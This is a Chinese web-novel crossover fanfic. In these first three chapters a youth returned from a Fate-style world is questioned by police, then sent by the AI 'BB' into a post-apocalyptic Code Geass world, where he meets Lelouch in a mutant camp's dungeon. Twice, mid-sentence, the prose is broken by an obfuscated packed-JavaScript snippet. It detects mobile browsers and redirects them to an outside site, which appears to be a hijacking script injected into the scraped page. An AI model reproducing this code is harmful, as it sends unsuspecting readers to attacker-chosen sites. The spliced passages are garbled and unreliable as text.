《他只是死了又不是塌了当然能在我店里打工》 1. Code Geass “姓名？” “七羽。” “年龄？” “……十九。” 不大的审讯室里“哒哒”的键盘敲击声一顿，负责做记录的佐藤警官抬头看了坐在屋子正中央的少年一眼，不过很快她就收回了目光，也没有就少年回答时的迟疑做出什么疑问。 而坐在她身边的高木警官已经语速如常的进入下一个问题。 “职业？” “待业。” “为什么在凌晨一点出现在游乐园？” “……” 自称为七羽的少年再次迟疑了，就在他犹豫着要不要用“迷路”这种借口蒙混过关时，审讯室的门被敲响，随后一名年轻的警探拿着一小叠资料小跑着进来了。 “佐藤姐，游乐园的监控调查报告出来了。”警探俯下身压低声音在佐藤耳边小声说，“另外暮目警官刚刚收到了上面的电话，这案子转出去了。” 年轻警探抿了抿唇，表情愤愤：“目暮警官说让您加快进度。” 佐藤点头示意自己知道了，接过资料快速翻看。 也是因为这一低头，佐藤没注意到对面已经准备开口敷衍的少年又闭上了嘴。 总共也没多少页的资料只给了七羽几十秒的缓冲时间，期间那名进来送资料外加传话的年轻警探又推门出去了，路过七羽的时候好奇的快速打量了一番端正坐着的少年，目光触及到七羽的容貌时不由得露出惊艳的神色。 这人还怪好看的，真看不出来是能放倒两个高大外国人的狠角色。 可能是联想到了隔壁那两个黑衣人的惨状，年轻警探迅速眼观鼻鼻观心，脚步加快，很干脆的关上了门。 “为什么在凌晨一点出现在游乐园？” 已经扫完资料的佐藤把刚才的问题重复了一遍。 是实话实说还是干脆直接突围出去？ 七羽迅速权衡。 虽然方才年轻警探已经放轻了说话声，但七羽仍旧听得一清二楚。 作为前脚拯救完人理，后脚被阿赖耶送回原世界的自己是凭空出现的，监控自然不可能拍到他进入游乐园的路径与方式。 实话实说的话他可能会被当成疯子，而突围出去…… 七羽还不想自己悠闲的退休养老生活还未开始，就被迫进入逃亡模式。 [……系统“模拟经营”加载已完成。] 就在七羽打算开口搏一搏的前一秒，耳熟的声音在脑海中响起。 [已检索到您的身份信息。] [相关任务正在生成中……] “咳咳咳咳……” 七羽一慌，编好的谎话立马变成了一阵猛烈的咳嗽。 [任务列表生成成功！请您努力完成任务，适应崭新的退休生活吧！] 某个性格恶劣的月之癌一板一眼的在自己的脑子里念台词，平铺直叙的咏叹调却又令人倍感陌生。 “我能先去个卫生间吗？” 七羽发问。 佐藤顿了一下，随后点了点头，“当然，毕竟少年你并不是嫌犯，当然有这个自由。” 原来你们也知道我不是嫌犯啊？ 直接被带到审讯室而非问询室的七羽默然。 “不过请尽量快一点。”佐藤冲身旁的高木扬了扬下巴，“高木，你带他去。” 虽然不是嫌犯，但是却要时刻监视自己的意思吗？ 看来那两个被自己撂倒的黑衣人身份不一般啊。 七羽跟在高木的身后，在路过隔壁审讯室的时候敏锐的察觉到一股视线。 顺着感觉看去，隔着房门上的小玻璃窗，七羽看见那名被自己救下的年轻人正揉着脖子跟身旁体型富态的警探说着什么，仿佛方才的视线来源并不是他一般。 唔，这个年纪在和平年代应该还是学生吧？ 他似乎和那位警探先生是旧相识？ 七羽跟着高木走过转角，在注意到前方卫生间的标识后顺势收回视线，并淡定的拽住高木的衣角。 卫生间的门擦着高木的鼻尖打开，险些直接砸高木脸上。 千叶和伸甩着手从卫生间出来，完全没发现自己差点痛击同事的鼻梁骨，“高木？你们那边完事了？” 七羽不着痕迹的收回手，而高木神色恍惚了一瞬，方才的感知和记忆出现了片刻的断层。 “你吓我一跳。”高木一脸疲惫，“哪有那么快完事。你们呢？我听说是个诈骗案？” “别提了，那个缺德诈骗犯冒充老人家留学的儿子，把老人家的养老金全骗光了，等老人家儿子发现爸妈被骗已经过了一星期了。人倒是抓住了，就是资金早就被转移走了，现在犯人就是摆烂到底，要命一条要钱没有。” 千叶和身材高大的高木不一样，圆润的脸庞一看就是个温和好脾气的人，并没有刑警的压迫感，反而有一股街道办事处的亲和感。 只是这时他眼下挂着熬夜加班造成的黑眼圈，下巴上也冒出来了稀疏的胡茬，浑身都洋溢着股班味。 “那。”千叶往另一个方向扬下巴，“白鸟警部还跟犯人僵持着呢，我这实在顶不住了出来洗把脸，顺便给白鸟警部带杯咖啡回去。” 高木让开位置：“那你先忙，暮目警部那边催得紧，我这带游乐场案见义勇为的当事人来上完卫生间也得赶紧回去。” 千叶和伸这才发现高木身后还藏着个人。 他看看七羽，又抬头看看卫生间门上挂着的标志牌：“高木你是不是加班加魔怔了，这是男卫生间，女卫生间在西边，你走错方向了。” 七羽抬眼：“我就是男人。” “啊？”千叶茫然的看着七羽及腰的长发，旋即尴尬抬手拍了下自己的后脑勺，“不好意思啊，我还以为……” “没关系，那我先进去了，高木警官。”七羽向给自己带路的高木道谢，随后绕过千叶推门走进卫生间。 隔音效果一般的房门外传来两位警官的后续对话。 “现在的男生都这么漂亮吗？这谁看了不迷糊，怪不得宫本小姐成天劝佐藤说女孩子不好好打扮就会找不到对象。” “佐藤小姐去相亲了？！” “我什么时候说佐藤警官去相亲了？有吗？” …… 似乎不小心听到了警官们之间的八卦呢。 真好。 虽然不知道为什么自己的世界不复废土与末日，自己也因此成了黑户有被通缉的危险。 但是，真好。 「BB？」 七羽默念。 「BB098号为您服务。」 熟悉的声音在脑海中响起，态度却恭敬到令人怀疑对方是不是跨界冲浪太多，终于被异界信息量堵塞成了人机。 七羽沉默几秒，随后询问道：「我应该怎么做？」 「098建议您打开任务列表。」 随着话音一落，一个金黄色感叹号出现在七羽视野范围的左上角。 而感叹号的后面紧跟着的，就是现阶段唯一刷新出来的任务—— 「获取新的锚点（主线）： 拯救了人理的你选择离开英灵座回归原世界，而回归后的你发现，由于时间线等诸多因素影响，你原本的世界已经不是你记忆中的模样。 请获取新的锚点，以方便你享受退休后的美好时光。 是否进入随机副本？ 【是】/【否】 奖励：新的锚点（固定奖励），？？？（随机奖励）」 七羽的目光落在那三个问号以及“随机奖励”的“随机”二字上，隐隐感觉自己的退休生活可能并没有预想中的那么休闲与美妙。 「如果我不去做任务的话……这个感叹号就会一直杵在这里？」 七羽尝试操作着任务界面，发现他可以通过自己的意愿来折叠/展开感叹号后面的任务说明，唯有感叹号本身，不论他如何尝试，都固执的停留在视野的左上角。 虽然不影响视物，却很影响心情。 「时刻提醒您享受退休生活是098的义务。」 平板的声线诡异的上扬了那么一丢丢。 很好，这才有点BB。 七羽不再言语，干脆利落的点下【是】。 「随机副本抽取中……」 「已抽取副本：《Code Geass界限解离》」 「前情提要： 在神圣大不列颠帝国统一各国百年后，随着第100代皇帝逝世，被女皇娜娜莉·V·布里塔尼亚以武力镇压的各国残余势力以复国为口号，展开了长达数十年的大破灭战争。 战争的阴云过后，留给人类的只有充满辐射的废土与异变的各类生物。 这是最野蛮的时代，也是最自由的时代。」 「任务目标：请招聘到你的首位员工，以激活你的锚点。」 「任务时限：15日。」 「目前可选职阶：Foreigner（降临者）、Berserker（狂战士）、Lancer（枪兵）。」 「友情提示：你目前仅可招聘1位员工，请谨慎选择你的员工！」 「传送开始！」 “嗡——” 一股能够击碎山河的力量直击七羽，七羽甚至没能反应过来，就眼前一黑晕了过去。 ——这一懵棍打晕人的传送方式。 BB你是不是公报私仇？！ 至少等我选一个泛用性好点的职阶吧？！ …… “我们到底要被带到哪里？我想回家……呜呜。” …… “回家？与其浪费做梦，你还是实际一点，抓紧时间想想怎么才能死得干脆利落吧。” …… “我不想死……不想死……不想…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559867|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死……” …… “我们不可能逃得掉……都会死在这里……为什么！该死的明明应该是他们！是他们那帮畜生才对！” …… 尚未从暴力传送中恢复的七羽只觉眼前发黑、脑袋发晕。 各种疯狂的低语与压抑的啜泣从耳鸣的“嗡嗡”声中硬生生挤进耳道，直冲鼻腔的恶臭与车辆行驶时产生的晃动颠簸更是让他胃里一阵翻腾。 这些人说的话……好奇怪的语法啊。 虽然勉强能理解大致意思，但却像是他所熟知的语言在不同的历史进程下，演化成的某种变种。 啊，不行，根本没办法思考。 恶心。 想吐。 “晕车？” 就在七羽难受到理智即将从脑子离家出走时，一股清凉的味道替代了车厢内的恶臭，缓解了传送带来的后遗症。 “谢谢。” 缓过劲的七羽抬眼看去，率先看到的就是坐在自己身旁的黑发少年。 刚刚帮了他一把的少年看着也就十七八的年纪，相貌秀美的少年此时正把装着提神液体的玻璃小瓶揣回宽大的斗篷里。 而他们正身处一处四处漏风的简陋车厢，自己屁股下面坐着的也不是舒适的座椅，而是肮脏并带着木刺的报废木箱。 不大的车厢里塞满了人，拥挤得像是沙丁鱼罐头。 七羽不动声色的环视一圈，发现车厢内这些人的年龄从十五到二十五不等，普遍衣不遮体，那破麻袋一样充满后启示录末世风格的衣着下是瘦削黑黄的身体。只有寥寥几人衣着体面，虽然也脸色苍白神情惶恐，却不像前者那般失态崩溃，应当是受过良好的教育。 而他们的共同点就是抛开脸上沾染上的泥浆与脏污不谈，所有人的相貌都在及格线以上，最差都称得上一句清秀的评价。 自己怕不是被丢进了人贩子进货的货车吧？ “不用谢，毕竟你要是忍不住吐出来，倒霉的还是我不是吗？”少年语带笑意，“你的口音不太像这附近的人，是不走运才被抓来的吗？” 七羽收回环视的目光，在某种意义上实话实说：“是被认识的人坑了。” “那还真是不幸。”少年回过头，瞳孔中倒映出车厢内的绝望，“不过这里绝大多数人都和你一样。” 嘈杂而昏暗的车厢里少年的侧脸陷入阴影，从七羽的角度只能看清他线条冷峻的下颌。 “被亲人抛弃、被朋友出卖、被用来交换寥寥无几的粮食。那群抛弃掉人性的蠢货甚至都想不到换一小袋种子，以应对自己孑然一身后只能割肉而食的绝境。” 少年的声音愈来愈低，最后几乎微不可闻。 “最后的最后，奄奄一息的他们也会自食恶果，成为别人的粮食，无论是以哪一种方式。” “嘎吱。” 车停了。 车门被拉开，一名混搭着各式战斗服装部件、以至于看上去有些不伦不类的黝黑光头一把抓住距离他最近的女人，不顾女人发出的嘶哑尖叫粗暴的把她拖下车。 “都下来！”光头狞笑，“肉鸡们，你们的终点到了。” 七羽的目光越过车厢内慌乱的人群，通过大开的车门看向光头所谓的“终点”。 身材高大异常的绿皮肤类人生物站在木头搭建的哨塔上，用裸露钢筋制成的防御工事形状抽象，看上去有点像用来防御坦克的拒马。而更靠内的区域远远耸立着几个晾晒肉干的细长木杆，只是木杆上串着的并不是常见的禽类或者猪羊等动物，而是七羽同类的残骸。 “你也觉得很原始、很野蛮吧？” 少年漠然的看着人群被驱赶下车，面相凶恶的光头一面拿手中的线膛枪依次捅在他们后腰上，一面记着数，整个过程像极了清点家畜。 “走吧，轮到咱们了。” 他拂了一下斗篷，站起身时斗篷宽大的领口随着重力往下坠了坠，昏暗的车内光线下，七羽依稀看到在他的锁骨之间似乎有一笔红色的纹身。 像一只展翅的飞鸟。 “那你呢？” 身后传来的声音令少年身形一顿。 车门处等着的光头不耐烦的用枪杆敲了敲废铁片糊成的车壁，催促他们赶紧下去。 七羽再次问道：“你为什么在这里？” “我啊……” 少年——鲁路修·V·布里塔尼亚步履优雅的踏上这一片血腥的土地。 “我当然是自愿来到这里的。” 阿什弗德学园。 我命运开始转动的起点。 「由于超时未选择职阶，已为你随机分配职阶。」 「当前职阶为：Berserker（狂战士）。」 「由于职阶影响，您的理性已降低。」 「祝你成功招聘到自己的首位员工。」 「任务剩余时间：15日。」 2. Code Geass 七羽的目光在“Berserker（狂战士）”这行字上停留了许久，久到光头耐心告罄，手上那把线膛枪冲着他后背招呼过来。 很好，怪不得他刚进入的时候会有理智出走的感觉，原来那不是因为恶心造成的错觉。 七羽悄然垂下眼，顺着枪杆捅在自己后腰的力度往前跟上队伍。 他厌恶这地方散发出来的愚昧与野蛮，可放纵一时爽，理性火葬场。 上一次使用Berserker职阶时发生的惨案还历历在目，在没摸清副本世界具体情况的前提下陷入狂化可不是什么好选择。 尤其这一次还没有御主能以令咒约束他。 于是目前理性满值面板能力清一色全E的七羽乖巧坠在队伍末尾，默默记忆路线的同时观察着整个营地。 这个营地似乎是在世界变为废土之前的旧建筑上改建的，战壕后方的残破大门上还挂着只剩下半拉的招牌，茂盛的植物从建筑物的裂缝里顽强的钻出来，就连那半个招牌上都爬满了某种墨绿色的菌类。 因为世界不同带来的语法差异，七羽只认出来了其中“学院”两个字。 整座营地的改建风格抽象到让人不好形容，硬要说的话就是有一种赛博末世与城乡结合部杂糅的混乱，布局也一塌糊涂。不过构成建筑物的主体似乎还是钢筋水泥，一眼看过去都是虽然挑高高，可却只有一层的平房。 还有那个光头手中可以称之为古董的线膛枪。 看来这个世界不是什么科技发达的未来末日，参考任务说明中的“辐射”二字，难道那个大破灭战争是很古老的核战争？ 原本还担心任务世界的科技太超前，自己拐带员工后被太空堡垒架着中子羽流炮撵着跑，但目前来看，威胁最大的或许是辐射催生的变异生物？ 七羽目光挑剔却谨慎的观察那些绿皮肤大个子。 这个营地建筑的挑高会加到五六米，八成是因为营地里全是这种身高两三米、皮肤绿汪汪的变异人。 不，或许最大的危险来自于任务本身？ 任务的时限为15日，而随机到Berserker职阶的自己会随着时间的流逝逐渐理性丧失，15日搞不好就是他理性全失彻底狂化的临界时间。 再往阴暗一些的方面想，Berserker职阶下理性与力量不可共存，力量只能随着理性的降低而增强，而每一次对魔力的调动都会加深他的狂化，从而滑向彻底疯狂的失控深渊。 以自己挂在幸运这一栏上那个大写的E，不使用魔力也能轻松完成任务什么的，想都不要想。 就在七羽把自己对这个副本世界的危险性拉到了最高时，前行的队伍停下了，负责押送他们的光头站在一处破旧平房外，刚刚还颐指气使的脸孔对上绿皮变异人后瞬间谄媚起来，口中的语言也变成了一种由大量重复性单音节组成的未知语言。 和他接头的变异人居高临下的扫视人群，那眼神像极了厨子品鉴肉鸡的质量是否达标。 检阅完货物品相的变异人伸手在人群中点了包括七羽在内的三人，接着单手就提起了嵌在地上的沉重石门。 比之前车厢里还要恶心百倍的气味扑面而来，七羽本能倒退三大步的同时屏住了呼吸，而站得靠前的已经吐出来了。 这一幕却取悦到了光头，甚至为了欣赏人群的崩溃与绝望还好心的多等了几十秒。 “啧啧，真浪费啊，这就把你们吃的最后一顿饭吐出去了？如果不想饿死的话，我劝你们还是趴在地上把吐出来的再舔回去吧？” 旁边的变异人似乎也听懂了，发出一阵震耳的笑声。 “不过想来你们也活不到饿死的时候。”光头把最前方吐到直不起腰的女人一脚踹进石门，遂露出狞笑，“赶紧的麻利点，老子还赶着天黑前回去和姘头喝酒。” 石门内传来接连的碰撞以及痛呼声，收尾的是沉闷的一声“咚”，之后便再没了声息。 人群霎时变得寂静无声。 捂着口鼻的七羽瞳孔一缩，手指无意识收紧，指缝间原本白皙的脸颊缓慢泛出充血的红晕。 “劳驾，女士请让一下。” 站在第二位的女人猛地回神，瘦得几乎就剩下一把骨头的身体也随之跌倒在地。 出声打破寂静的鲁路修自她打颤的双腿上方迈过，面色如常的走向石门。 光头被扫了兴致，不爽地啐了一口，但对待被变异人看中的货物他也不好一枪毙了。 “下去后乖乖去最里面那间牢房蹲着，一会儿自然有人下去锁门，想活得久一点就别自作聪明到处乱走。” 最终他也只能口头上威胁一番。 “还有你们两个，跟他一起下去，你们一个牢房。” 光头先后用枪.口点过七羽以及最后一人。 而有了鲁路修打岔，七羽一瞬间被愤怒压制的理智再次上线。 他神色恍惚的放下右手，露出侧脸上被自己抠出的四个月牙型印记。 越过哄然散开仿佛他是什么瘟疫传染源一样的人群，七羽的目光落在四周那些悄无声息堵住所有逃跑路线的人.贩身上。 不行，现在动手的话很可能出现不必要的牺牲。 于是七羽放松身体，听话的跟上鲁路修，同最后一位被指定的姑娘先后踏入石门。 石门后的地道看上去十分原始，别说照明的电灯了，圆拱形勉强可以称之为天花板的顶上与下方的台阶浑然一体——都是最原始的泥土，纯天然得毫无后期装修的痕迹。脚下的台阶与其说是台阶，还不如说是踩得人足够多，所以勉强踩出来了条坑坑洼洼向下的道路。 七羽怀疑这整条通道没准都是那些变异人徒手挖出来的。 只有不到五十米的通道不一会就下到了底，走在最前方的鲁路修在一具颈骨后折的尸体前停下脚步。 之前被光头一脚踹下来的女人倒在一片血泊中，布满血丝的眼睛瞪大到几乎脱框而出，里面还残留着害怕以及对这个世道满满的憎恨。 “她……她是死了吗？” 走在鲁路修与七羽中间的姑娘声音发颤，好歹没有尖叫出声。 鲁路修蹲下身合上女人的双眼：“继续走吧。” 可这次一直相当听话配合的七羽却没动身。 “上面有枪声。”七羽偏头仔细分辨上方传来的声音，“小口径的半自动步枪，四到五把。” “不论你想做什么，现在还不到时候。”鲁路修沉声道，“变种人是不会使用小水管半自动步枪的，开枪的应该是掠夺者。这帮掠夺者是来上供的，会严格把控存活率，但如果有人脑子一热打算冲出去一夫当关，那就不一定了。” 不知是不是错觉，七羽总觉得鲁路修看他的眼神别有深意，“毕竟掠夺者本身也没有什么节操可言，搞黄了这一单损失的也不是他们，大不了换个合作对象继续。” 原来那些变异人的学名叫变种人，还好自己没有贸然开口，不然连这种常识都搞错，肯定会引起怀疑。 根据鲁路修所说，七羽快速分清了自己遭遇的两种势力。 绿皮变异人是变种人，而光头一伙是掠夺者。 “现在还不到时候？”七羽虚心求问。 “等血牙氏族的变种人验完货那群莱纳街的掠夺者就会离开，而血牙氏族最近在试图吞并西边的幸存者聚居地，留守的变种人很可能只有三成不到。” 鲁路修边说边带着他们走向最深处，沿途两边都是空置的牢房，里面残留的鲜血已经完全渗进泥土，使原本深棕的泥土呈现出一种暗红的色泽。 他在最后一间牢房前站定，做了个“请”的手势，“所以我们还有点时间做个自我介绍，相互认识一下，你们觉得呢？” 他甚至没有忽视三人中唯一的姑娘。 他真体贴。 虽然不知道任务奖励的锚点到底是个什么东西，但既然是招聘员工…… 人才市场最缺的是什么样的员工？ 高情商的员工！ 尤其在鲁路修解下斗篷，并绅士的铺在姑娘身下时，七羽看向鲁路修的眼神亮了。 鲁路修涵养极好的无视了七羽炽热的目光：“你们可以称呼我为L.L.。” 他说了一个一听就知道是代号的假名。 在这个良好开头下，三人互换了各自的称谓。 “本来是想故地重游，结果我跟着的商队半道上被掠夺者伏击了。”鲁路修无所谓的耸耸肩，“只是没想到我还是阴差阳错的来到了这里。” “啊，L.L.你指的是……这里？” 大概是受鲁路修从容态度的影响，之前还紧绷着神经的菲丽也放松了下来，有着一头浅金色波浪长发的漂亮姑娘鼻尖上还沾着一块蹭上的脏污，但在阴暗的地牢里，她还是白到发光。 此时她一双茶色的杏眼略微瞪圆，很感同身受的替鲁路修难过起来。 鲁路修苦笑一声，一副不愿多说的模样任由对方自己脑补。 “你呢？你看起来来自第十一区，按理说那帮掠夺者是没胆子对第十一区里的贵族下手的。” 这若无其事套话的本事…… 七羽觉得如果能说动L.L.跟自己走，他肯定能从局子里安然出来。 “我？”菲丽双手抱膝，目光落在牢房的一角，她目光空空，也不知道是陷于回忆，还是哀莫大于心死的另一种表现形式，“我的话只是一个很老土的爱情故事罢了。” 这姑娘也不知道是心大，还是觉得鲁路修能从她考究的衣着推断出她的来历很正常，总之她并没有否定鲁路修的猜测。 “我是在一次历史研讨会上认识他的，他……” 菲丽的故事如她所说，有一个俗套而又老土的开场。 大概就是从小生活在象牙塔里没见过社会险恶的贵族姑娘，对一位博学而又谈吐幽默的平民学者先生一见钟情了。 “他风趣、幽默、博学又体贴，所以就算他的外貌称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559868|171358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上英俊，地位也称不上高贵，他也能成为人群中备受瞩目的焦点。” 就像所有老套的爱情故事都有一个大差不差的男主人设一样，菲丽遇见的那个他也是。 唯一不那么老套的就是，菲丽口中的这位男主没有一般故事中邪魅一笑的嘴角以及俊美无铸的外貌。 菲丽口中的他甚至身高不足一米八。 就……很写实。 只是他那双蓝眼睛坦诚而清澈，卷曲的棕色头发也彰显着他是个性格柔软温和的人。 “我和他真的很合得来，我们一起讨论神圣不列颠帝国的历史，他对终末帝王那段时期的见解深刻又独到。我们在一起时总有说不完的话，我一度以为我们的爱情是我们彼此的心照不宣。” 菲丽以相当平静的语气讲着他们之间的故事， “我会在约会前一天晚上高兴的睡不着觉，然后早早起来挑选衣裙、搭配妆容。他选在街角的咖啡厅见面，我不确定他是否知道那是我家名下的咖啡厅，所以特意早去了一小时，嘱咐店长先生不要透露。虽然我知道他有着豁达的心胸，但是我就是不想让他有任何被刺伤的可能。” 说到这，菲丽抿了抿唇，接着话锋一转。 “说来可笑，父亲反对我和他在一起的时候，我还以为父亲是看不上他的身份。毕竟出生在我们这样的家族是没有自由恋爱这一说的，一切都要以家族的存续为第一要务，所以我理所当然的反抗了父亲。” 她嘴上说着“理所当然”这样的词汇，可脸上鲜明的情绪却出卖了她。 这让七羽有种怪异的错觉—— 虽然听上去她为了爱情抛弃了家族责任，但哪怕在菲丽竭尽全力表述自己对“他”的爱慕时，菲丽的情绪都是平缓的，没有任何沉溺于爱情的狂热与冲动。她一点也不情绪化，诉说甜蜜时没有微笑，控诉变心时也没有怨恨。 可当她提到自己父亲时，眼里都悲伤却再也藏不住。 “父亲劝诫我，向我解释他的虚伪。” 她口吻一变，眉眼板起，模仿自己父亲的姿态向在场的两位听众复述。 “菲丽，你不处在那样危险的环境，所以你可能无法理解，虚伪不像是品尝美食或者幽会情人，抽出点空就够了，它是一种全天候的工作，而且还需要一点玩世不恭的幽默。而他，他是我见过最虚伪的家伙，你知道这意味着什么吗？” 意味着“他”能够全天——乃至每时每刻都保持警惕，在所有人面前完美的隐藏真正的自己。 相当可怕的人。 七羽预感这个爱情故事要转折了。 而鲁路修的回应却是—— “意味着你的眼光相当不错。” 七羽：“……” 救命。 你的绅士体贴呢？ 虽然大家都能听出来你话里有话，但你就不担心人家小姑娘受不住，当场哭给你看？ 七羽偷偷瞄了菲丽一眼。 还好，没哭。 真是情绪稳定的姑娘。 “七羽你不是这附近的幸存者，不了解这周边几个幸存者基地的那些「贵族」。”大约是察觉到了七羽的无语，鲁路修解释道，“无论是体量如第十一区还是简陋如特雷西街，有一个算一个，大部分贵族连年增长的只有体重，他们连脂肪里都塞满了廉价的自尊与贪婪，等到了战败的谈判桌上，肥胖的体型也是他们唯一彰显自己威严与地位的手段。” 很好，看来这就是L.L.的说话方式。 他八成是平等的看不起所有蠢货。 “你说的没错，所以他真的很迷人。”菲丽居然无缝接上了鲁路修的话，她甚至遗憾的叹了口气，“我本以为他会是一个合格的丈夫。” 七羽完全不知道菲丽是怎么从迷人这个前提条件，得出合格这个最终结论的。 “所以我向他求婚了。”菲丽真切的困惑，“可他却拒绝了。” 七羽茫然：“求婚？” “他肯定会拒绝啊。”鲁路修却毫不惊讶，“只是「德里菲尔德家的夫人」这种程度的地位当然无法满足他。” 等一下，难道只有我觉得奇怪吗？ 或者是我不懂恋爱的缘故？ 这是怎么从求婚进展到掉马的？ 好奇，想问，偏偏他还不能暴露自己对这个世界的不熟悉。 七羽鼓起腮帮子，决定闭嘴继续听。 “是的，所以我出现在了这。”菲丽微微仰起头，她的视线没有聚焦，似乎在看七羽又似乎没有，“这就是我的故事，那么，七羽你呢？” 七羽没有第一时间回答，因为他在菲丽的故事里发现了一个十分违和的地方。 一般来说，按照狗血爱情故事的正常走向，后续应该是权势滔天的求婚者求婚不成，遂恼羞成怒因爱生恨，黑化后把只撩不婚的虚伪渣男卖给变种人吧？ 既然菲丽才是那个求婚不成的人…… 为什么被送进来的会是菲丽？ 3. Code Geass 菲丽隐瞒了什么？ 为什么被送进来的不是“他”？ 七羽掂量了一下自己的政治素养，觉得最好还是免开尊口。 不问，不评价，假装没发觉菲丽故事结尾的漏洞才是现下最好的选择。 而且在两个聪明人面前编故事也不是一件容易的事，他还是多担心一下自己吧。 也不知道在任务世界中暴露自己并非是本世界人会怎样…… 「BB？」 「098建议您不要呢。」 我明明还没问…… 「请放心，098并不能读取您的思想，098只是对您当前的处境做出评估，结论是您最好不要说谎呢。」 而BB语调一扬。 「毕竟根据历史资料显示，您成功瞒过……」 「打住！」 七羽连忙打断即将在自己脑子里复读的黑历史。 “七羽的经历倒是和菲丽你有点像。”出乎七羽意料的，鲁路修主动替他解了围，“他在车上刚好坐在我旁边，我们有聊到一点。” 菲丽惊讶：“七羽你也……” 这姑娘不知道自己脑补了什么，看向七羽的目光都变得怪怪的。 总觉得现在开口找补有越说越错的风险，我还是不要解释了吧？ 顶着菲丽复杂的眼神，七羽移开目光：“动乱结束了。” 菲丽会意，很懂的捂住了自己的嘴。 这地牢的结构就是简单的一条直线，身处最深处的他们如果不想冒着被爆头的风险探出脑袋观察，就只能凭借声音判断外面的情况。 深浅不一的脚步声夹杂在接连不断的辱骂中，间或还有几声闷哼。以光头为首的掠夺者把还活着的货物分成了三组，一人看顾八九个货物从通道下来。他们被分批押进不同的牢房，接连的落锁声响起，杜绝了逃跑的最后希望。 有人向最后这间牢房走来，光头隔着栅栏往里瞧了一眼，确定他们仨都在后把门一锁：“人齐了，收工！” 几个掠夺者不约而同的发出欢呼，趿拉着步子勾肩搭背离开地道，嘴里还吹着牛描述自己刚才的超神枪法，攀比着谁打中的人最多。 其中不知道是哪个说了句“诶，你们说那群臭烘烘的大块头开趴的时候不会被老子射进去的弹头崩了牙吧？”，引起了大声的下.流哄笑。 而后石门落下，地牢里恢复了伸手不见五指的漆黑。 骤然降临的黑暗令七羽也失去了几秒钟的视觉，他看不清鲁路修和菲丽此时的表情，但清晰地听到菲丽骂了一句“人渣”。 在等待视线恢复的这么一小会儿，七羽先后又听见几次撞击声。 鲁路修一适应眼前的黑暗就注意到七羽神色不对，“怎么了？” “有人自杀了。” 七羽话音未落，凄厉的尖嚎冲破黑暗回荡在逼仄的地牢，但也仅限于此了。 极端的恐惧后，绝大部分人的情绪系统都已麻木，就算亲眼看见有人一头撞死在自己眼前也毫无反应。 鲁路修没有言语，半晌后反而是菲丽幽幽呢喃，“至少现在他们还能死得有尊严一些，真要到了变种人的手里，眼睁睁的看着自己被活吃……” 菲丽声音愈来愈小，最后也闭口不语。 毒舌如鲁路修，也没有对菲丽这话做出评价。 交完货的掠夺者没有多做停留，很快七羽就隔着甬道与厚重的石门听见车队驶离的动静。 “那群掠夺者走了。” 他上前摆弄了下门锁，发现这锁虽然款式过时却维护得不错，材质也不是普通的钢材，坚硬程度到有那么点意思了。 “既然他们没有节操可言，想来生意都截单了，就算是听见动静也不会回来见义勇为的吧？”七羽晃动着手中门锁，看向鲁路修，“所以你的计划是？” 原本准备静候一位有缘变种人友情赠送GEASS的鲁路修试探性开口：“如果你能弄开这把锁……” “当然，我甚至已经迫不及待了。” 七羽微笑。 随着他的抬手，暗红的魔力粒子在手背上方悬空形成一个血红竖瞳，而后七羽收紧五指，坚硬的门锁在他手中仿佛一块软烂的奶酪，一触即碎。 “好想知道变种人的头骨有没有这个门锁硬？” 七羽脑海中响起一声轻笑。 …… 哦对，我是不是要伪装自己是本世界原住民来着？ 七羽后知后觉的迎上菲丽诧异的眼神。 我现在补救还来得及吗？ 「您还是老样子呢。」 BB的声音首次脱离了呆板的机械质感，透着股诡异的愉悦，只可惜迫于现场情况的紧急，七羽并没有注意到这细微的差别。 「如果我在任务世界暴露了会导致什么后果？任务失败？那我脱离后门锁会按照我不曾出现的世界线进行变动，恢复成被锁的状态吗？」 七羽匆匆对任务栏内的信息进行确认，现在任务仍旧显示在执行中，并没有受方才他出格行为的影响。 但保险起见他还是再次向BB寻求确认。 「098也不确定，098只能对已知情报进行分析，并在此基础上向您提出建议。」 「但098向您提出的永远只是建议，无论您最后作何选择，098都将追随您。」 「那我们久违的一起去干票大的。」 七羽回身看没有动作的菲丽：“要一起来吗？” “不了，我肩不能扛手不能提，跑八百米就大喘气，跟着你们只会给你们拖后腿。”菲丽摇头，“我呆在这就是对你们最大的帮助。” 七羽点头：“这倒是，是我考虑欠妥。” 经菲丽提醒，他也反应过来这不是他的世界，菲丽和L.L.也不是曾和他一起并肩作战的同伴。虽然生活在末世的废土，但不一定人人都上能开飞机狗斗，下能开坦克扫荡，也不是所有娃娃脸的漂亮姑娘都是能徒手掏核.弹的魔法少女。 “那L.L.你……” “虽然我肩不能扛手不能提，跑八百米就大喘气，但你能认出血牙氏族的首领？” “我不能，但我可以不留活口。” “……” “你让我想起了某个体力笨蛋。”鲁路修叹气，“给我把枪，我不会死。” 七羽比了个OK，悄无声息的带着鲁路修往出口的石门去。 路过其他牢房时七羽脚步稍顿，用眼神询问鲁路修。 接收到眼神的鲁路修一下子就理解了他想问什么。 “现在放他们出去可以引起混乱，混乱对隐藏我们有利，但也会打草惊蛇。” “那就等完事再来放他们出去吧。”七羽话音一转，“你说救命之恩，我也不要求菲丽以身相许，求她帮忙安置这些无家可归的人应该没问题吧？” 鲁路修眼底有笑意一闪而过：“那就看你想怎么安置了。” 